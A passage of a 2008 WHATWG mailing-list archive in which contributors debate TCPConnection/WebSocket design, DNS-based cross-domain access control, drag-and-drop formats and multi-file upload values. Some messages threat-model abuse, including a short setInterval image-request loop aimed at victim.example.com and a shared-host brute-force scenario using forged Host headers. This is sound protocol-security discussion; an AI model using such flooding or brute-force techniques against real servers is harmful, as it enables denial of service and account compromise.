>  If you establish a Connection: Keep-Alive with the proxy server, it will
> leave the connection open to you, but that doesn't mean that it will leave
> the connection open to the back end server as the Connection header is a
> single-hop header.

So it is not possible at all? There are no mechanisms in HTTP and
proxy servers that facilitates keeping the connection alive all the
way trough to the web server?


If a Session ID (or perhaps a Request ID) is added to the headers then
it is possible to create server side logic that makes it easier for
web developers. When session ids are sent trough cookies, web servers
and proxy servers have no way to identiy a session (since only the
script knows which cookie is the session id). The SessionID header
could be used by load balancers and more - and it could also be used
by for example IIS/Apache to connect a secondary socket to the script
that created the page (and ultimately achieving what I want).

>> The script on the server decides if the connection should be closed or
>> kept open. (Protection against DDOS attacks)
> With the proposed spec, the server can close the connection at any point.
I stated it as a benefit in the context of the web server handling the
requests. An image would close the connection immediately, but a
script could decide to keep it open. All servers can ofcourse close
any connection any time.

>> This allows implementing server side listening to client side events,
>> and vice versa. If this works, then the XMLHttpRequest object could be
>> updated to allow two way communications in exactly the same way.
>
> The previously proposed protocol already allows the server side listening to
> client side events, and vice versa. Rather or not to put that in the
> XMLHttpRequest interface is another issue. I think making XHR bi-directional
> is a bad idea because its confusing. Better to use a brand new api, like
> WebSocket.

If the implementation works as I tried to examplify in the PHP script
above; a document.serverSocket object is available, then the xhr
object should also have a .serverSocket object.

document.serverSocket.addEventListener(...)
xhr.serverSocket.addEventListener(...)

I am sure this can be achieved regardless of the protocol.

>> Also, by adding a SessionID header sent from the client (instead of
>> storing session ids in cookies), the web server could transparently
>> rematch any client with its corresponding server side process in case
>> of disconnect.
> Isn't that what cookies are supposed to do?  Regardless, it sounds like an
> application-level concern that should be layered on top of the protocol.

One important advantage is that javascript.cookie can be used for
hijacking sessions by sending the cookie trough for example an
img-tag. If javascript can't access the SessionID then sessions cant
be hijacked through XSS attacks.

Also I think load balancers and web servers and other applications
that do not have intimate knowledge about the web application should
be able to pair WebSocket connections with the actual http request.
How else can load balancers be created if they have to load balance
both pages and websockets to the same webserver? The load balancer
does not know what part of the cookie identifies the session.

I am sure that some clever people will find other uses if the session
id and request id is available for each request made from a script.

>> The HTTP spec has these features already:
>>
>> 1: Header: Connection: Keep-Alive
>> 2: Status: HTTP 101 Switching Protocol
>>
>> No need to rewrite the HTTP spec at all probably.
> You can't use HTTP 101 Switching Protocols without a Connection: Upgrade
> header. I think you'll note that the proposal that started this thread uses
> just this combination.

The HTTP 101 Switching Protocols can be sent by the server, without
the client asking for a protocol change. The only requirement is that
the server sends 426 Upgrade Required first, then specifies which
protocol to switch to. The protocol switched to could possibly be the
one proposed in the beginning of this thread.

The new protocol should be based on this:
http://tools.ietf.org/id/draft-burdis-http-sasl-00.txt

It is essentially the same, except we are upgrading to a two way
protocol, instead of an HTTPS protocol.

>> TCPConnections are only allowed to the server where the script was
>> downloaded from (same as Flash and Java applets). A DNS TXT record can
>> create a white list of servers whose scripts can connect. Also the
>> TCPConnection possibly should be allowed to connect to local network
>> resources, after a security warning - but only if the server has a
>> proper HTTPS certificate.
> How would a DNS TXT record solve the problem? I  could register evil.com and
> point it at an arbitrary ip address and claim that anyone who wants to can
> connect.

Doh, ofcourse! :) So I am going back to my first suggestion - the
server with the script must have a certificate as well. The script
must be signed with a private key, and the DNS server must have the
public key.

>> With the security measures I suggest above, there is no need for
>> protection against brute force attacks. Most developers only use one
>> server per site, and those that have multiple servers will certainly
>> be able to add a TXT-record to the DNS.
> I don't actually understand which part of the specification you want to
> change aside from doing the access control in a DNS TXT record instead of
> the protocol.

I care more about how it works for the developer than how the protocol
itself is implemented. I think maybe the protocol should be discussed
with others or have its own WG.

Summarizing what I want as a web developer:

The script that generates the page should be able to communicate with
the page it generated. The page should also be able to connect to a
separate script, if the web developer thinks that it is important.

Reasons:

1. Simplicity for developers.
2. No need to propagate state information between applications than
handles sockets and applications that generate the page.
3. It is more similar to a standard desktop application.
4. Resources opened by the script that created page, can be kept open
(file locking etc).


From robert at ocallahan.org  Thu Jun 19 18:07:07 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Fri, 20 Jun 2008 13:07:07 +1200
Subject: [whatwg] more drag/drop feedback
In-Reply-To: <a9699fd20806181431m164eeaf2l1e49d2a6774d9da7@mail.gmail.com>
References: <48591FBC.4080902@gmail.com>
	<a9699fd20806181431m164eeaf2l1e49d2a6774d9da7@mail.gmail.com>
Message-ID: <11e306600806191807x72dcc81o97800b4dce83a4cb@mail.gmail.com>

On Thu, Jun 19, 2008 at 9:31 AM, Thomas Broyer <t.broyer at gmail.com> wrote:

> On Wed, Jun 18, 2008 at 4:46 PM, Neil Deakin wrote:
> > We have a need to be able to support both dragging multiple items, as
> well
> > as dragging non-string data, for instance dragging a set of files as a
> set
> > of File objects (see http://www.w3.org/TR/file-upload/) from the file
> system
> > onto a page.
>
> That would be new data formats.
> That's how Adobe AIR solved the problem. They added a Bitmap and File
> list data formats, for which getData returns AIR-specific objets (a
> BitmapData and an array of File objects respectively)
>
> http://help.adobe.com/en_US/AIR/1.1/jslr/flash/desktop/ClipboardFormats.html
> http://livedocs.adobe.com/air/1/devappshtml/DragAndDrop_2.html#1048911


Creating a new data format for each kind of collection seems suboptimal. And
it breaks completely if you want heterogeneous collections.

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080620/15052373/attachment.htm>

From shannon at arc.net.au  Fri Jun 20 01:26:29 2008
From: shannon at arc.net.au (Shannon)
Date: Fri, 20 Jun 2008 18:26:29 +1000
Subject: [whatwg] TCPConnection feedback
Message-ID: <485B69B5.9070007@arc.net.au>



From: "Michael Carter" <michael.carter at kaazing.com>
Subject: Re: [whatwg] TCPConnection feedback
To: whatwg at whatwg.org
Message-ID:
	<24f9a1ba0806191101h13291792wded6d16560fec632 at mail.gmail.com>
Content-Type: text/plain; charset="iso-8859-1"

> I fail to see how virtual hosting will work for this anyway. I mean we're
>> not talking about Apache/IIS here, we're talking about custom applications,
>> scripts or devices - possibly implemented in firmware or "a few lines of
>> perl". Adding vhost control to the protocol is just silly since the
>> webserver won't ever see the request and the customer application should be
>> able to use any method it likes to differentiate its services. Even URI
>> addressing is silly since again the application may have no concept of
>> "paths" or "queries". It is simply a service running on a port. The only
>> valid use case for all this added complexity is proxying but nobody has
>> tested yet whether proxies will handle this (short of enabling encryption,
>> and even that is untested).
>>
> 
> Actually, I've already tested this protocol against some typical forward
> proxy setups and it hasn't caused any problems so far.


Can you elaborate on what you mean by tested? Are you saying you've performed non-TLS, persistent, asynchronous 
communication through a proxy + Apache/IIS or proxy + custom application?


>>
>> I'm thinking here that this proposal is basically rewriting the CGI
>> protocol (web server handing off managed request to custom scripts) with the
>> ONLY difference being the asynchronous nature of the request. Perhaps more
>> consideration might be given to how the CGI/HTTP protocols might be updated
>> to allow async communication.
>>
> 
> Rewriting the HTTP spec is not feasible and I'm not even convinced its a
> good idea. HTTP has always been request/response so it would make a lot more
> sense to simply use a new protocol then confuse millions of
> developers/administrators who thought they understood HTTP.

As pointed out by others HTTP can preform asynchronously and persistently under certain circumstances (ie TLS 
handshake). Microsoft describe the process here: http://msdn.microsoft.com/en-us/library/aa380513(VS.85).aspx

This appears to be bi-directional communication so we can probably assume that proxies and servers supporting TLS could 
be made to support other async processes. Also taking into consideration what others have said regarding keep-alive and 
protocol switching it would seem that we are looking at a fairly trivial problem as far as HTTP is concerned. My 
recommendation is probably less relevant to HTTP than it is to CGI.

Currently CGI has the web server offload a bunch of environment variables that the CGI script decodes. What's missing 
then is a way to pass the whole socket off to the script. The Fast CGI protocol is closer to the mark. Wikipedia says: 
"Environment information and page requests are sent from the web server to the process over a TCP connection (for remote 
processes) or Unix domain sockets (for local processes). Responses are returned from the process to the web server over 
the same connection. The connection may be closed at the end of a response, but the web server and the process are left 
standing."

So Fast CGI achieves all the main goals for WebSocket (proxy support, virtual hosting, ssl support) using existing 
access control rules and configs that ISPs are familiar with. The only thing that is not supported is persistent 
bi-directional communication (at least I have found nothing to indicate this). However based on the description above 
the only limiting factor seems to be an assumption that all links in the chain close the connection after the initial 
server response (making it bi-directional but not persistent). It also isn't strictly asynchronous since the client and 
server apparently cannot send/receive simultaneously.

I propose a new protocol called Asynchrous CGI that extends Fast CGI to support asynchonous and persistent channels 
rather than the creation of an entirely new WebSockets protocol from scratch.

>>
>> Having said that I still see a very strong use case for low-level
>> client-side TCP and UDP. There are ways to manage the security risks that
>> require further investigation. Even if it must be kept same-domain that is
>> better than creating a new protocol that won't work with existing services.
>> Even if that sounds like a feature - it isn't. There are better ways to
>> handle access-control for non-WebConnection devices than sending garbage to
>> the port.
>>
> 
> If we put the access control in anything but the protocol it means that we
> are relying on an external service for security, so it would have to be
> something that is completely locked down. I don't really see what the
> mechanism would be. Can you propose a method for doing this so as to allow
> raw tcp connections without security complications?


I don't understand your point. Existing services use firewalls, authentication, host-allow, etc as appropriate. The only 
new issue TCPConnection or WebConnection introduce is the concept of an "non-user-initiated connection". In other words 
a remote untrusted server causing the local machine to make a connection without an explicit user action (such as 
checking mail in Outlook). I believe the proposed DNS extension combined with some form of explicit user-initiated 
priviledge elevation reduce the two main threats: DDOS and browser-based brute-force attacks.


>> How would WebSocket connections be more harmful than something like
>>
>> setInterval(function(){
>>   var img = new Image();
>>   img.src = "http://victim.example.com/" <http://victim.example.com/> + generateLongRandomString();
>> }, 1000);
>>
>> for example would?
>>
>>  It's more harmful because an img tag (to my knowledge) cannot be used to
>> brute-force access, whereas a socket connection could. With the focus on
>> DDOS it is important to remember that these sockets will enable full
>> read/write access to arbitrary services whereas existing methods can only
>> write once per connection and generally not do anything useful with the
>> response.
>>
> 
> What do you mean by brute-force access, and how could the proposed protocol
> be used to do it. Can you provide an example?
> 
> Also, the proposed protocol will do a single HTTP request, just like the img
> tag, and the response be hidden from the attacker if it wasn't the right
> response. From a potential attacker's point of view, this is a write once
> per connection where the only control they have over the request is the
> value of the url. Attacking with this protocol is identical to attacking
> with an image tag in every way that I can think of.

I already have already provided two examples in previous posts but to reiterate quickly this protocol as currently 
described can be manipulated to allow a full challenge-response process. This means I can make every visitors browser 
continually attempt username/password combinations against a service, detect when access is granted, and continue to 
send commands following the handshake. IMG and FORM allow at most a single single request to be sent before closing the 
connection and generally return the data in a form that cannot be inspected inside javascript. I have shown that by 
injecting a custom URI into the handshake I can theoretically force a valid server response to trick the browser into 
keeping the connection open for the purpose of DDOS or additional attacks. The difference is not in the ability to DDOS, 
it's in the ability to maintain a connection in the presense of a server challenge, despite WebSockets proposed 
safeguards (keeping in mind these proposed safeguards render the protocol useless for accessing legacy devices).


Shannon

PS (to list): Sorry if this post generates yet another thread. Thunderbird keeps truncating my replies in a way that 
seems to invalidate the thread history. I might need to shift to a proper newsreader.


From frode at seria.no  Fri Jun 20 04:19:52 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 13:19:52 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <485B69B5.9070007@arc.net.au>
References: <485B69B5.9070007@arc.net.au>
Message-ID: <31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>

>> Rewriting the HTTP spec is not feasible and I'm not even convinced its a
>> good idea. HTTP has always been request/response so it would make a lot
>> more
>> sense to simply use a new protocol then confuse millions of
>> developers/administrators who thought they understood HTTP.
> As pointed out by others HTTP can preform asynchronously and persistently
> under certain circumstances (ie TLS handshake). Microsoft describe the
> process here: http://msdn.microsoft.com/en-us/library/aa380513(VS.85).aspx

I think this will be a far better solution than opening a second
communication channel to the server (ref my other posts).

> Currently CGI has the web server offload a bunch of environment variables
> that the CGI script decodes. What's missing then is a way to pass the whole
> socket off to the script. The Fast CGI protocol is closer to the mark.
> Wikipedia says: "Environment information and page requests are sent from the
> web server to the process over a TCP connection (for remote processes) or
> Unix domain sockets (for local processes). Responses are returned from the
> process to the web server over the same connection. The connection may be
> closed at the end of a response, but the web server and the process are left
> standing."

Also, it is quite common with modules linked directly with the server
(ISAPI and Apache modules). For CGI (not FastCGI) i assume some inter
process communication would have to be defined - but I do not think
this forum should think about that, it is inevitable that changes must
be done somewhere on the server side if we want to achieve two way
communication with the same script that initially generated the page.

> So Fast CGI achieves all the main goals for WebSocket (proxy support,
> virtual hosting, ssl support) using existing access control rules and
> configs that ISPs are familiar with. The only thing that is not supported is
> persistent bi-directional communication (at least I have found nothing to
> indicate this). However based on the description above the only limiting
> factor seems to be an assumption that all links in the chain close the
> connection after the initial server response (making it bi-directional but
> not persistent). It also isn't strictly asynchronous since the client and
> server apparently cannot send/receive simultaneously.

I do not believe that proxies enforce rules regarding who is able to
send data over the channel, therefore I do not believe asynchronous
communications will be a problem - even though nothing indicates it
being done today.

> I propose a new protocol called Asynchrous CGI that extends Fast CGI to
> support asynchonous and persistent channels rather than the creation of an
> entirely new WebSockets protocol from scratch.

The name implies that this is a server side protocol, used between the
web server and the web application - so I believe that the name should
be something like WebSocket still. Server side, there are multiple
alternative interfaces to CGI (ISAPI, NSAPI, Apache modules etc). I
believe support for WebSocket should be an issue between the web
browser and the web server, and we should not consider what happens on
the server side. A new working group could start working on extending
FastCGI, but server side support will quickly be developed by those
server providers wanting to support it. I assume a new working group
will have to be created for extending FastCGI.

>> If we put the access control in anything but the protocol it means that we
>> are relying on an external service for security, so it would have to be
>> something that is completely locked down. I don't really see what the
>> mechanism would be. Can you propose a method for doing this so as to allow
>> raw tcp connections without security complications?

> I don't understand your point. Existing services use firewalls,
> authentication, host-allow, etc as appropriate. The only new issue
> TCPConnection or WebConnection introduce is the concept of an
> "non-user-initiated connection". In other words a remote untrusted server
> causing the local machine to make a connection without an explicit user
> action (such as checking mail in Outlook). I believe the proposed DNS
> extension combined with some form of explicit user-initiated priviledge
> elevation reduce the two main threats: DDOS and browser-based brute-force
> attacks.

Michael informed me about a problem with my DNS extension proposal,
and that is that anybody can register a domain called "evil.com" and
add the required TXT records and point the domain to the target
server.

I think the DNS extension can still be used, but it has to involve
reverse lookup on the target IP-address. The reverse lookup returns a
host name, which must be queried for TXT-records that specify hosts
that can have scripts allowed to connect.

Does anybody have any views on this?

>> What do you mean by brute-force access, and how could the proposed
>> protocol
*snip*
> I already have already provided two examples in previous posts but to
*snip*

This is not an issue, regardless of protocol - if the Reverse DNS
suggestion (above) is used for security - right?

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From frode at seria.no  Fri Jun 20 04:52:21 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 13:52:21 +0200
Subject: [whatwg] Proposal for cross domain security framework
Message-ID: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>

I have a proposal for a cross domain security framework that i think
should be implemented in browsers, java applets, flash applets and
more.

The problem:
If browsers could connect freely to whichever IP-address they want,
then a simple ad on a highly popular website can be used to trigger
massive DDOS attacks or distributed brute force password attacks etc.

The challenge:
The owner of the server that receives incoming connections must be
able to decide who is able to connect.

The tools available:
The browser. The server. DNS servers.

The method:
The browser always know where it downloaded any given script or
applet. It also know which IP-address or host-name the script wants to
connect to. The browser should perform the following check to make
sure that the given script is allowed to connect:

1. Browser downloads a script from server A.
2. Script tries to connect to server B.
3. Browser looks up server B's IP-address.
4. Browser performs a reverse lookup of server B's IP-address and gets
a host name for the server.
5. Browser looks up a special TXT record in the DNS record for Server
B, which states each of the IP addresses/host names that can hosts
scripts allowed to connect.

DNS records are cached multiple places (including at the local
computer), so a DDOS attack attempting to take down DNS servers
probably not succeed.


What do you think?


Best regards,
Frode B?rli
Seria AS, Norway

From adrian.sutton at ephox.com  Fri Jun 20 05:11:57 2008
From: adrian.sutton at ephox.com (Adrian Sutton)
Date: Fri, 20 Jun 2008 13:11:57 +0100
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
Message-ID: <C4815D1D.5810%adrian.sutton@ephox.com>

> The tools available:
The browser. The server. DNS servers.

Actually, DNS servers, particularly for reverse DNS lookups, are out of the
control of a huge number of authors on the web. Shared hosting accounts for
instance don't have a unique reverse IP look up. There are also plenty of
people who don't control their DNS at all for whatever reason.

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
UK: +44 1 753 27 2229  US: +1 (650) 292 9659 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>



From phil127 at gmail.com  Fri Jun 20 05:51:38 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Fri, 20 Jun 2008 14:51:38 +0200
Subject: [whatwg]  TCPConnection feedback
In-Reply-To: <f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
References: <485B69B5.9070007@arc.net.au>
	<31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>
	<f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
Message-ID: <f042876c0806200551j1db35971xaaafedd2fb1708ef@mail.gmail.com>

On Fri, Jun 20, 2008 at 1:19 PM, Frode B?rli <frode at seria.no> wrote:
> I think this will be a far better solution than opening a second
> communication channel to the server (ref my other posts).

Would that be so much of  a problem though? Your web application opens
multiple connections today already, so you can not be sure that
requests that belong to the same session all come on the same HTTP
connection. If you have a proxy inbetween, I'd imagine you can't even
be sure that requests on the same connection belong to the same user.

The HTTP handshake would most likely send the cookies though, so it
shouldn't be that difficult to associate your persistent connection
with an existing session.
If you don't want to rely on cookies, you could always make your own
session tracking mechanism on top of this protocol using JS.

I think if persistent connections are supported broadly, this could
also be the start of a new design pattern, where you use HTTP only to
serve static resources and do all dynamic stuff through a single
persistent connection. Such applications wouldn't need any session
information outside the connection at all.
Of course it would be up to the web author how he designs his
application. It's just a thought.

However, if it's still desired, maybe we could add it as an additional
option in HTML instead of HTTP?
Idea: Add an additional HTML element. If it is present, the browser
will not close the connection after it downloaded the document, but
instead send an OPTIONS <uri> Upgrade: ... request and present and
give the page's scripts access to a default WebSocket object that
represents this connection.

On Fri, Jun 20, 2008 at 10:26 AM, Shannon <shannon at arc.net.au> wrote:
> I don't understand your point. Existing services use firewalls,
> authentication, host-allow, etc as appropriate. The only new issue
> TCPConnection or WebConnection introduce is the concept of an
> "non-user-initiated connection". In other words a remote untrusted server
> causing the local machine to make a connection without an explicit user
> action (such as checking mail in Outlook). I believe the proposed DNS
> extension combined with some form of explicit user-initiated priviledge
> elevation reduce the two main threats: DDOS and browser-based brute-force
> attacks.

On Fri, Jun 20, 2008 at 1:52 PM, Frode B?rli <frode at seria.no> wrote:
> I have a proposal for a cross domain security framework that i think
> should be implemented in browsers, java applets, flash applets and
> more.

If we use any kind of verification that happens outside the
connections, we should at least a hint inside the connection, which
host the browser wants to connect though. I think raw TCP connections
would cause major security holes with shared hosts, even if
cross-domain connections need a DNS record.
Consider the following scenario:

Bob and Eve have bought space on a run-of-the-mill XAMPP web hoster.
They have different domains but happen to be on the same IP. Now Eve
wants do bruteforce Bob's password-protected web application. So she
adds a script to her relatively popular site that does the following:

1) Open a TCP connection to her own domain on port 80. As far as the
browser is concerned, both origin and IP adress match the site one's,
so no cross domain checks are performed.

2) Forge HTTP requests on that connection with Bob's site in the Host
header and bruteforce the password. The Browser can't do anything
about this, because it treats the TCP connection as opaque. The
firewall just sees a legitimate HTTP request on a legitimate port.

If Bob checks his logs, he will see requests from IPs all oer the
world. Because Eve has control about the Referrer and
Access-Control-Origin headers, there is no trace that leads back to
her. She might even have send the headers with forged values to shift
suspicion to another site.

Note that the web hoster doesn't need to support WebSocket server side
in any way for this to work.
We could strengthen the security requirements, so that even
same-domain requests need permission. However, then we had about the
same hole as soon as the web host updates its services and gives Eve
permission to access "her own" site.

>> Access-Control: allow <*> exclude <evilsite.example.com>
>> Access-Control-Max-Age: 86400
>> Access-Control-Policy-Path: /
>>
>
> I think the idea is good, but I do not like the exact implementation.
> I think the server should be able to see which script is initiating
> the connection (header sent from the client), and then the server can
> respond with a HTTP 401 Access Denied. No need to specify anything
> more. No need to specify which hosts that are allowed, since the
> script can decide that on a number of parameters (like IP-address
> etc).

(Sorry for the late reply, I had a few technical problems)

I think the Access-Control-Origin header is exactly what you are
looking for: <http://www.w3.org/TR/access-control/#access-control-origin0>
This would be sent by the client as a part of the "Access Control checks".

The idea of the client-side verification was that the server would
only need as little processing per request as possible. In case of a
DDOS, it could more or less "blindly" send back the headers without
any need to first look up the client's origin in a black/whitelist. In
extreme cases, it wouldn't need to parse the client's request at all.

Because both, Access-Control-Origin and Access-Control: allow... would
be used, web authors could choose between both strategies and decide
which one suits best for their setup.


From lachlan.hunt at lachy.id.au  Fri Jun 20 06:44:01 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Fri, 20 Jun 2008 15:44:01 +0200
Subject: [whatwg] What should the value attribute be for multi-file
 upload controls in WF2?
In-Reply-To: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
Message-ID: <485BB421.4090803@lachy.id.au>

Adele Peterson wrote:
> I'm looking at the Web Forms 2 specification for the multi-file 
> upload control that uses the min/max attributes.  When multiple files 
> are selected, its unclear what the value attribute should contain.

Assuming you're referring to the value DOM attribute, not the value="" 
content attribute, It seems to be unclear what the value should contain 
even when there's only a single file selected.

I did some testing to see what each returned.  All tests use this markup 
to obtain the value, using the Live DOM Viewer:

<!DOCTYPE html>
<input type="file" id="test" size=100>
<input type=button onclick="w(document.getElementById('test').value);" 
value="Read Value...">

http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cinput%20type%3D%22file%22%20id%3D%22test%22%20size%3D100%3E%0D%0A%3Cinput%20type%3Dbutton%20onclick%3D%22w(document.getElementById('test').value)%3B%22%20value%3D%22Read%20Value...%22%3E

In each one, I selected a file named test.txt from within my home or My 
Documents directory.  These are the vaules returned in each browser:

Windows browsers:
IE 8:         test.txt
IE 7 mode:    test.txt
Firefox 2:    D:\My Documents\test.txt
Firefox 3:    test.txt
Opera 9.5:    C:\fake_path\test.txt
Safari 3.1.1: D:\My Documents\test.txt

Mac browsers:
Firefox 3:    test.txt
Opera 9.5:    C:\fake_path\test.txt
Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt

> It could contain just the first filename, or a comma separated list 
> of all of the filenames.  I think it will be useful though to add 
> something about this in the specification for consistency.

Opera 9.5 supports multiple file selection when a max="" attribute is 
set to a value greater than 1.  It currently only returns the fake path 
of the first file, as shown above.  However, the control displays to the 
user the real paths of all files selected as quoted strings separated by 
semi-colons. e.g.

"/Users/lachlanhunt/test.txt";"/Users/lachlanhunt/other.txt"

Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5 
refuses to return the real path anyway, maybe we should define that when 
there's only a single file selected, it returns just the file name. When 
there are multiple files selected, would a string containing the file 
names, each surrounded by quotes and separated by semi-colons work?

e.g. "test.txt";"other.txt"

There's a small problem with that too, because we would need a way to 
handle file names that contained quote marks, which is possible on Mac 
and Linux, but not on Windows.

But it really depends what use cases we need to address.  Do authors 
ever actually obtain the file name using JavaScript for anything?  If 
so, what for?  With multiple file selection, is it likely they would 
want to inspect each individual file name for anything, in which case, 
should we find a way to make it easier to obtain individual file names?

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From joao.eiras at gmail.com  Fri Jun 20 07:20:10 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Fri, 20 Jun 2008 15:20:10 +0100
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485BB421.4090803@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
Message-ID: <e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>

Hi

> There's a small problem with that too, because we would need a way to handle file names
> that contained quote marks, which is possible on Mac and Linux, but not on Windows.

Not only that, but in unix flavours, paths are separated with : while
in windows they're separated with ;
In *nix special char are escaped with \ while in windows \ separates
directories in paths.
So IMO, it won't be possible to com up with a solution that is cross
platform without making up something completly new.
I'd suggest for HTMLInputElement to have a .files or .paths property
which would be an array of all the files choosen, names only.


On Fri, Jun 20, 2008 at 2:44 PM, Lachlan Hunt <lachlan.hunt at lachy.id.au> wrote:
> Adele Peterson wrote:
>>
>> I'm looking at the Web Forms 2 specification for the multi-file upload
>> control that uses the min/max attributes.  When multiple files are selected,
>> its unclear what the value attribute should contain.
>
> Assuming you're referring to the value DOM attribute, not the value=""
> content attribute, It seems to be unclear what the value should contain even
> when there's only a single file selected.
>
> I did some testing to see what each returned.  All tests use this markup to
> obtain the value, using the Live DOM Viewer:
>
> <!DOCTYPE html>
> <input type="file" id="test" size=100>
> <input type=button onclick="w(document.getElementById('test').value);"
> value="Read Value...">
>
> http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cinput%20type%3D%22file%22%20id%3D%22test%22%20size%3D100%3E%0D%0A%3Cinput%20type%3Dbutton%20onclick%3D%22w(document.getElementById('test').value)%3B%22%20value%3D%22Read%20Value...%22%3E
>
> In each one, I selected a file named test.txt from within my home or My
> Documents directory.  These are the vaules returned in each browser:
>
> Windows browsers:
> IE 8:         test.txt
> IE 7 mode:    test.txt
> Firefox 2:    D:\My Documents\test.txt
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 3.1.1: D:\My Documents\test.txt
>
> Mac browsers:
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt
>
>> It could contain just the first filename, or a comma separated list of all
>> of the filenames.  I think it will be useful though to add something about
>> this in the specification for consistency.
>
> Opera 9.5 supports multiple file selection when a max="" attribute is set to
> a value greater than 1.  It currently only returns the fake path of the
> first file, as shown above.  However, the control displays to the user the
> real paths of all files selected as quoted strings separated by semi-colons.
> e.g.
>
> "/Users/lachlanhunt/test.txt";"/Users/lachlanhunt/other.txt"
>
> Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5
> refuses to return the real path anyway, maybe we should define that when
> there's only a single file selected, it returns just the file name. When
> there are multiple files selected, would a string containing the file names,
> each surrounded by quotes and separated by semi-colons work?
>
> e.g. "test.txt";"other.txt"
>
> There's a small problem with that too, because we would need a way to handle
> file names that contained quote marks, which is possible on Mac and Linux,
> but not on Windows.
>
> But it really depends what use cases we need to address.  Do authors ever
> actually obtain the file name using JavaScript for anything?  If so, what
> for?  With multiple file selection, is it likely they would want to inspect
> each individual file name for anything, in which case, should we find a way
> to make it easier to obtain individual file names?
>
> --
> Lachlan Hunt - Opera Software
> http://lachy.id.au/
> http://www.opera.com/
>


From adrian.sutton at ephox.com  Fri Jun 20 07:31:20 2008
From: adrian.sutton at ephox.com (Adrian Sutton)
Date: Fri, 20 Jun 2008 15:31:20 +0100
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806200701u6b6d5ef6mbb723f075a5cec86@mail.gmail.com>
Message-ID: <C4817DC8.5826%adrian.sutton@ephox.com>

(Frode, this is one of those lists where you have to hit reply all instead
of just reply to send your response to the list. I'm assuming you meant for
that, apologies if you'd meant it to be a private reply.)

On 20/06/2008 15:01, "Frode B?rli" <frode at seria.no> wrote:

>> Actually, DNS servers, particularly for reverse DNS lookups, are out of the
>> control of a huge number of authors on the web. Shared hosting accounts for
>> instance don't have a unique reverse IP look up. There are also plenty of
> 
> The reverse DNS spec specifically allows one IP address to have
> multiple reverse domains.

So how do you know which one to use?

>> people who don't control their DNS at all for whatever reason.
> 
> 1. People that do not have control over the reverse lookup seldom have
> control over multiple servers and seldom require to distribute load
> like this.

I have a few shared hosting sites that I manage and a few servers with
dedicated IPs but I still don't control the reverse DNS on any of them. Even
if I only had one server, I might still want to provide an API that other
people could use in their JavaScript - eg: to include headlines/content from
my RSS feed.

> 3. Hosting providers will add tools allowing their customers to
> configure this security framework, if it is required - but again; if
> you are on a shared server you most likely will not need to connect to
> multiple servers. It will also usually suffice to have a proxy on the
> server (like many people do for XMLHttpRequests now).

My experience is that hosting providers can be extremely slow to add tools
though it has improved lately.

My second thought is to wonder why DDOS is a concern for JavaScript cross
site scripting compared to simply writing out (either directly from the ad
server or from JS): <img src="http://otherhost/whatever.jpg"> an awful lot
and generating the same load on the server.

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
UK: +44 1 753 27 2229  US: +1 (650) 292 9659 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>



From jonas at depagecms.net  Fri Jun 20 08:58:37 2008
From: jonas at depagecms.net (Frank Hellenkamp)
Date: Fri, 20 Jun 2008 17:58:37 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
Message-ID: <485BD3AD.1070406@depagecms.net>

> 1. Browser downloads a script from server A.
> 2. Script tries to connect to server B.
> 3. Browser looks up server B's IP-address.
> 4. Browser performs a reverse lookup of server B's IP-address and gets
